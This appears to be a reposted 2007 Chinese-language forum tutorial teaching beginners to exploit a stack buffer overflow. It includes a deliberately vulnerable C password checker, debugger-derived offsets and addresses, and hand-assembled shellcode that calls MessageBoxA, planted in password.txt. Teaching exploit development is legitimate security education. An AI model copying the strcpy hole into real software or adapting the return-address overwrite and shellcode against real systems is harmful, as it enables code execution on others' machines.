標?題
:?
【技術專題】軟件漏洞分析入門_5_初級棧溢出D_植入任意代碼
作?者
:?
failwest
時?間
:?
2007
-
12
-
16
,
17
:
06
鏈?接
:?
http
:
//bbs.pediy.com/showthread.php?t=56656
第
5
講??初級棧溢出D——植入任意代碼
To?be?the?apostrophe?which?changed?“Impossible”?into?“I’m?possible”
——?failwest
麻雀雖小,五臟俱全
如果您順利的學完了前面
4
講的內容,并成功的完成了第
2
講和第
4
講中的實驗,那么今天請跟我來一起挑戰一下劫持有漏洞的進程,并向其植入惡意代碼的實驗,相信您成功完成這個實驗后,學習的興趣和自信心都會暴增。
開始之前,先簡要的回答一下前幾講跟貼中提出的問題
代碼編譯少頭文件問題:可能是個人習慣問題,哪怕幾行長的程序我也會丟到project里去build,而不是用cl,所以沒有注意細節。如果你們嫌麻煩,不如和我一樣用project來build,應該沒有問題的。否則的話,實驗用的程序實在太簡單了,這么一點小問題自己決絕吧。另外,看到幾個同學說為了實驗,專門恢復了古老的VC6
.0
,我也感動不已啊,呵呵。
地址問題:溢出使用的地址一般都要在調試中重新確定,尤其是本節課中的哦。所以照抄我的實驗指導,很可能會出現地址錯誤。特別是本節課中有若干個地址都需要在調試中重新確定,請大家務必注意。能夠屏蔽地址差異的通用溢出方法將會在后續課程中逐一講解。
還有就是抱歉周末中斷了一天的講座——無私奉獻也要過周末啊,大家體諒一下了。另外就是下周項目很緊張,估計不能每天都發貼了,爭取兩到三天發一次,請大家體諒。
如果有什么問題,歡迎在跟貼中提出來,一起討論,實驗成功完成的同學記住要吱——吱——吱啊,呵呵
在基礎知識方面,本節沒有新的東西。但是這個想法實踐起來還是要費點周折的。我設計的實驗是最最簡單的情況,為了防止一開始難度高,刻意的去掉了真正的漏洞利用中的一些步驟,為的是讓初學者理解起來更加清晰,自然。
本節將涉及極少量的匯編語言編程,不過不要怕,非常簡單,我會給于詳細的解釋,不用專門去學匯編語言也能扛下來
另外本節需要最基本的使用OllyDbg進行調試,并配合一些其他工具以確認一些內存地址。當然這些地址的確認方法有很多,我只給出一種解決方案,如果大家在實驗的時候有什么心得,不妨在跟貼中拿出來和大家一起分享,一起進步。
開始前簡單回顧上節的內容:
password
.
txt?文件中的超長畸形密碼讀入內存后,會淹沒verify_password函數的返回地址,將其改寫為密碼驗證正確分支的指令地址
函數返回時,錯誤的返回到被修改的內存地址處取指執行,從而打印出密碼正確字樣
試想一下,如果我們把buffer
[
44
]
中填入一段可執行的機器指令(寫在password
.
txt文件中即可),再把這個返回地址更改成buffer
[
44
]
的位置,那么函數返回時不就正好跳去buffer里取指執行了么——那里恰好布置著一段用心險惡的機器代碼!
本節實驗的內容就用來實踐這一構想——通過緩沖去溢出,讓進程去執行布置在緩沖區中的一段任意代碼。
圖
1
??
??
如上圖所示,在本節實驗中,我們準備向password
.
txt文件里植入二進制的機器碼,并用這段機器碼來調用windows的一個API函數?MessageBoxA,最終在桌面上彈出一個消息框并顯示“failwest”字樣。事實上,您可以用這段代碼來做任何事情,我們這里只是為了證明技術的可行性。
為了完成在棧區植入代碼并執行,我們在上節的密碼驗證程序的基礎上稍加修改,使用如下的實驗代碼:
#include?
<
stdio
.
h
>
#include?
<
windows
.
h
>
#define?
PASSWORD?
"1234567"
int?
verify_password?
(
char?
*
password
)
{
??
int?
authenticated
;
??
char?
buffer
[
44
];
??
authenticated
=
strcmp
(
password
,
PASSWORD
);
??
strcpy
(
buffer
,
password
);
//over?flowed?here!??
??
return?
authenticated
;
}
main
()
{
??
int?
valid_flag
=
0
;
??
char?
password
[
1024
];
??
FILE?
*?
fp
;
??
LoadLibrary
(
"user32.dll"
);
//prepare?for?messagebox
??
if
(!(
fp
=
fopen
(
"password.txt"
,
"rw+"
)))
??{
????
exit
(
0
);
??}
??
fscanf
(
fp
,
"%s"
,
password
);
??
valid_flag?
=?
verify_password
(
password
);
??
if
(
valid_flag
)
??{
????
printf
(
"incorrect?password!\n"
);
??}
??
else
??
{
????
printf
(
"Congratulation!?You?have?passed?the?verification!\n"
);
??}
??
fclose
(
fp
);
}
這段代碼在底
4
講中使用的代碼的基礎上修改了三處:
增加了頭文件windows
.
h,以便程序能夠順利調用LoadLibrary函數去裝載user32
.
dll
verify_password函數的局部變量buffer由
8
字節增加到
44
字節,這樣做是為了有足夠的空間來“承載”我們植入的代碼
main函數中增加了LoadLibrary
(
"user32.dll"
)
用于初始化裝載user32
.
dll,以便在植入代碼中調用MessageBox
用VC6
.0
將上述代碼編譯(默認編譯選項,編譯成debug版本),得到有棧溢出的可執行文件。在同目錄下創建password
.
txt文件用于程序調試。
我們準備在password
.
txt文件中植入二進制的機器碼,在password
.
txt攻擊成功時,密碼驗證程序應該執行植入的代碼,并在桌面上彈出一個消息框顯示“failwest”字樣。
??
讓我們在動手之前回顧一下我們需要完成的幾項工作:
1
:分析并調試漏洞程序,獲得淹沒返回地址的偏移——在password
.
txt的第幾個字節填偽造的返回地址
2
:獲得buffer的起始地址,并將其寫入password
.
txt的相應偏移處,用來沖刷返回地址——填什么值
3
:向password
.
txt中寫入可執行的機器代碼,用來調用API彈出一個消息框——編寫能夠成功運行的機器代碼(二進制級別的哦)
這三個步驟也是漏洞利用過程中最基本的三個問題——淹到哪里,淹成什么以及開發shellcode
首先來看淹到什么位置和把返回地址改成什么值的問題
本節驗證程序里verify_password中的緩沖區為
44
個字節,按照前邊實驗中對棧結構的分析,我們不難得出棧幀中的狀態如下圖所示:
?
圖
2
如果在password
.
txt中寫入恰好
44
個字符,那么第
45
個隱藏的截斷符null將沖掉authenticated低字節中的
1
,從而突破密碼驗證的限制。我們不妨就用
44
個字節做為輸入來進行動態調試。
??出于字節對齊、容易辨認的目的,我們把“
4321
”作為一個輸入單元。
??buffer
[
44
]
共需要
11
個這樣的單元
??第
12
個輸入單元將authenticated覆蓋
??第
13
個輸入單元將前棧幀EBP值覆蓋
??第
14
個輸入單元將返回地址覆蓋
分析過后我們需要進行調試驗證分析的正確性。首先在password
.
txt中寫入
11
組“
4321
”共
44
個字符:
??
圖
3
如我們所料,authenticated被沖刷后程序將進入驗證通過的分支:
?
圖
4
用OllyDbg加載這個生成的PE文件進行動態調試,字符串拷貝函數過后的棧狀態如圖:
?
圖
5
??
此時的棧區內存如下表所示
局部變量名??內存地址??偏移
3
處的值??偏移
2
處的值??偏移
1
處的值??偏移
0
處的值
buffer
[
0
~
3
]??
0x0012FAF0??0x31?
(
‘
1
’
)??
0x32?
(
‘
2
’
)??
0x33?
(
‘
3
’
)??
0x34?
(
‘
4
’
)
……??(
9
個雙字)??
0x31?
(
‘
1
’
)??
0x32?
(
‘
2
’
)??
0x33?
(
‘
3
’
)??
0x34?
(
‘
4
’
)
buffer
[
40
~
43
]??
0x0012FB18??0x31?
(
‘
1
’
)??
0x32?
(
‘
2
’
)??
0x33?
(
‘
3
’
)??
0x34?
(
‘
4
’
)
authenticated
(被覆蓋前)??
0x0012FB1C??0x00??0x00??0x00??0x31?
(
‘
1
’
)
authenticated
(被覆蓋后)??
0x0012FB1C??0x00??0x00??0x00??0x00?
(
NULL
)
前棧幀EBP??
0x0012FB20??0x00??0x12??0xFF??0x80
返回地址??
0x0012FB24??0x00??0x40??0x11??0x18
??
動態調試的結果證明了前邊分析的正確性。從這次調試中我們可以得到以下信息:
buffer數組的起始地址為
0x0012FAF0
——注意這個值只是我調試的結果,您需要在自己機器上重新確定!
password
.
txt文件中第
53
到第
56
個字符的ASCII碼值將寫入棧幀中的返回地址,成為函數返回后執行的指令地址
也就是說將buffer的起始地址
0x0012FAF0
寫入password
.
txt文件中的第
53
到第
56
個字節,在verify_password函數返回時會跳到我們輸入的字串開始出取指執行。
我們下面還需要給password
.
txt中植入機器代碼。
讓程序彈出一個消息框只需要調用windows的API函數MessageBox。MSDN對這個函數的解釋如下:
int?
MessageBox
(
??
HWND?hWnd
,??????????
//?handle?to?owner?window
??
LPCTSTR?lpText
,?????
//?text?in?message?box
??
LPCTSTR?lpCaption
,??
//?message?box?title
??
UINT?uType??????????
//?message?box?style
);
hWnd?
[
in
]?
消息框所屬窗口的句柄,如果為NULL的話,消息框則不屬于任何窗口?
lpText?
[
in
]?
字符串指針,所指字符串會在消息框中顯示?
lpCaption?
[
in
]?
字符串指針,所指字符串將成為消息框的標題?
uType?
[
in
]?
消息框的風格(單按鈕,多按鈕等),NULL代表默認風格?
雖然只是調一個API,在高級語言中也就一行代碼,但是要我們直接用二進制指令的形式寫出來也并不是一件容易的事。這個貌似簡單的問題解決起來還要用一點小心思。不要怕,我會給我的解決辦法,不一定是最好的,但是能解決問題。
??我們將寫出調用這個API的匯編代碼,然后翻譯成機器代碼,用
16
進制編輯工具填入password
.
txt文件。
注意:熟悉MFC的程序員一定知道,其實系統中并不存在真正的MessagBox函數,對MessageBox這類API的調用最終都將由系統按照參數中字符串的類型選擇“A”類函數(ASCII)或者“W”類函數(UNICODE)調用。因此我們在匯編語言中調用的函數應該是MessageBoxA。多說一句,其實MessageBoxA的實現只是在設置了幾個不常用參數后直接調用MessageBoxExA。探究API的細節超出了本書所討論的范圍,有興趣的讀者可以參閱其他書籍。
用匯編語言調用MessageboxA需要三個步驟:
1.
裝載動態鏈接庫user32
.
dll。MessageBoxA是動態鏈接庫user32
.
dll的導出函數。雖然大多數有圖形化操作界面的程序都已經裝載了這個庫,但是我們用來實驗的consol版并沒有默認加載它
2.
在匯編語言中調用這個函數需要獲得這個函數的入口地址
3?
在調用前需要向棧中按從右向左的順序壓入MessageBoxA的四個參數。當然,我肯定壓如failwest啦,哈哈
對于第一個問題,為了讓植入的機器代碼更加簡潔明了,我們在實驗準備中構造漏洞程序的時候已經人工加載了user32
.
dll這個庫,所以第一步操作不用在匯編語言中考慮。
對于第二個問題,我們準備直接調用這個API的入口地址,這個地址需要在您的實驗機器上重新確定,因為user32
.
dll中導出函數的地址和操作系統版本和補丁號有關,您的地址和我的地址不一定一樣。
MessageBoxA的入口參數可以通過user32
.
dll在系統中加載的基址和MessageBoxA在庫中的偏移相加得到。為啥?看下看雪老大《軟件加密與解密》中關于虛擬地址這些基礎知識的論述吧,相信版內也有很多相關資料。
這里簡單解釋下,MessageBoxA是user32
.
dll的一個導出函數,要確定它首先要知道user32
.
dll在虛擬內存中的裝載地址(與操作系統版本有關),然后從這個基地址算起,找到MessageBoxA這個導出函數的偏移,兩者相加,就是這個API的虛擬內存地址。
具體的我們可以使用VC6
.0
自帶的小工具“Dependency?Walker”獲得這些信息。您可以在VC6
.0
安裝目錄下的Tools下找到它:
?
圖
6
??
運行Depends后,隨便拖拽一個有圖形界面的PE文件進去,就可以看到它所使用的庫文件了。在左欄中找到并選中user32
.
dll后,右欄中會列出這個庫文件的所有導出函數及偏移地址;下欄中則列出了PE文件用到的所有的庫的基地址。
?
圖
7
??
如上圖示,user32
.
dll的基地址為
0x77D40000
,MessageBoxA的偏移地址為
0x000404EA
。基地址加上偏移地址就得到了MessageBoxA在內存中的入口地址:
0x77D804EA
??
有了這個入口地址,就可以編寫進行函數調用的匯編代碼了。這里我們先把字符串“failwest”壓入棧區,消息框的文本和標題都顯示為?“failwest”,只要重復壓入指向這個字符串的指針即可;第一個和第四個參數這里都將設置為NULL。寫出的匯編代碼和指令所對應的機器代碼如下:
???????????
機器代碼(
16
進制)??匯編指令??注釋
33?
DB??XOR?EBX
,
EBX??壓入NULL結尾的”failwest”字符串。之所以用EBX清零后入棧做為字符串的截斷符,是為了避免“PUSH?
0
”中的NULL,否則植入的機器碼會被strcpy函數截斷。
53??????????????????
PUSH?EBX??
68?77?65?73?74??
PUSH?
74736577??
68?66?61?69?6C??
PUSH?
6C696166??
8B?
C4????????????????MOV?EAX
,
ESP??EAX里是字符串指針
53??????????????????
PUSH?EBX??四個參數按照從右向左的順序入棧,分別為
:
?????????????????????????????????????????????????(
0
,
failwest
,
failwest
,
0
)
??????????????????????????????????????????????????
消息框為默認風格,文本區和標題都是“failwest”
50???????????????????
PUSH?EAX??
50???????????????????
PUSH?EAX??
53???????????????????
PUSH?EBX??
B8?EA?
04?
D8?
77??
MOV?EAX
,?
0x77D804EA??
調用MessageBoxA。注意不同的機器這里的????????????????????????????????????
????????????????????????????????????????????????????????????????????函數入口地址可能不同,請按實際值填入
!
FF?D0?????????????????CALL?EAX??
從匯編指令到機器碼的轉換可以有很多種方法。調試匯編指令,從匯編指令中提取出二進制機器代碼的方法將在后面逐一介紹。由于這里僅僅用了
11
條指令和對應的
26
個字節的機器代碼,如果您一定要現在就弄明白指令到機器碼是如何對應的話,直接查閱Intel的指令集手工翻譯也不是不可以。
??將上述匯編指令對應的機器代碼按照上一節介紹的方法以
16
進制形式逐字抄入password
.
txt,第
53
到
56
字節填入buffer的起址
0x0012FAF0
,其余的字節用
0x90
(
nop指令
)
填充,如圖:
?
圖
8
換回文本模式可以看到這些機器代碼所對應的字符:
?
圖
9
這樣構造了password
.
txt之后在運行驗證程序,程序執行的流程將按下圖所示:
圖
10
程序運行情況如圖:
?
圖
11
成功的彈出了我們植入的代碼!
您成功了嗎?如果成功的喚出了藏在password
.
txt中的消息框,請在跟貼中吱一下,和大家一起分享您喜悅的心情,這是我們學習技術的源動力。
最后總結一下本節實驗的幾個要點:
確認函數返回地址與buffer數組的距離——淹哪里
確認buffer數組的內存地址——把返回地址淹成什么(需要調試確定,與機器有關)
編制調用消息框的二進制代碼,關鍵是確定MessageBoxA的虛擬內存地址(與機器有關)
我實驗用的PE和password
.
txt在這里:
想要PE的請點這里:stack_overflow_exec
.
rar
想要Passwrd
.
txt的請點這里:password
.
txt
這節課的題目是麻雀雖小,五臟俱全。這是因為這節課第一次把漏洞利用的全國程展現給了大家:
密碼驗證程序讀入一個畸形的密碼文件,竟然蹦出了一個消息框!
Word在解析doc文檔時,不知有多少個內存復制和操作的函數調用,如果哪一個有溢出漏洞,那么office讀入一個畸形的word文檔時,會不會彈出個消息框,開個后門,起個木馬啥的?
IIS和APACHE在解析WEB請求的時候,也不知道有多少內存復制操作,如果存在溢出漏洞,那么攻擊者發送一個畸形的WEB請求,會不會導致server做出點奇怪的事情?
RPC調用中如果出現……
上面說的并不是危言聳聽,全都是真實世界中曾經出現過的漏洞攻擊案例。本節的例子是現實中的漏洞利用案例的精簡版,用來闡述基本概念并驗證技術可行性。隨著后面的深入討論,您會發現漏洞研究是多么有趣的一門技術。
在本節最后,我給出一個課后作業和幾個思考題——因為下一講可能會稍微隔幾天,大家不妨自己動手練習練習,記住光聽課是沒有的,動手非常重要!
課后作業:如果您細心的話,在點擊上面的ok按鈕之后,程序會崩潰:
?圖
12
??
這是因為MessageBoxA調用的代碼執行完成之后,我們沒有寫安全退出的代碼的緣故。您能把我給出的二進制代碼稍微修改下,使之能夠在點擊之后干凈利落的退出進程么?
如果你能做到這一點,不妨把你的解決方案也拿出來和大家一起分享,一起進步。
思考題:
1
:我反復強調,buffer的位置在實驗中需要自己在調試中確定,不同機器環境可能不一樣。
大家都知道,程序運行中,棧的位置是動態變化的,也就是說buffer的內存地址可能每次都不一樣,在真實的漏洞利用中,尤其是遇到多線程的程序,每次的緩沖區位置都是不同的。那么我們怎么保證在函數返回時總能夠準確的跳回buffer,找到植入的代碼呢
?
比較通用的定位植入代碼(shellcode)的方法我會在后面的講座中系統介紹,這里先提一下,大家可以思考思考
2
:我也反復強調,API的地址需要自己確定,不同環境會有不同。這樣植入代碼的通用性還是會大打折扣。有沒有通用的定位windows?API的方法呢?
以上兩個問題是影響windows平臺下漏洞利用穩定性的兩個很關鍵的問題。我選擇了windows平臺來講解,是為了照顧初學者對linux的進入門檻和windows下美輪美奐的調試工具。但windows的溢出是相對linux較難的,進入簡單,深造難。不過我相信大家能啃下來的。
為了不至于在一節課中引入太多新東西,我在本節課中均采用現場調試確定的方法,并沒有考慮通用性問題。在這里鼓勵大家積極思考,有想法別忘了在跟貼中分享出來。
|
|
公告
常用鏈接
留言簿(113)
隨筆分類
隨筆檔案
文章分類
相冊
Link
搜索
最新評論

閱讀排行榜
評論排行榜
|
|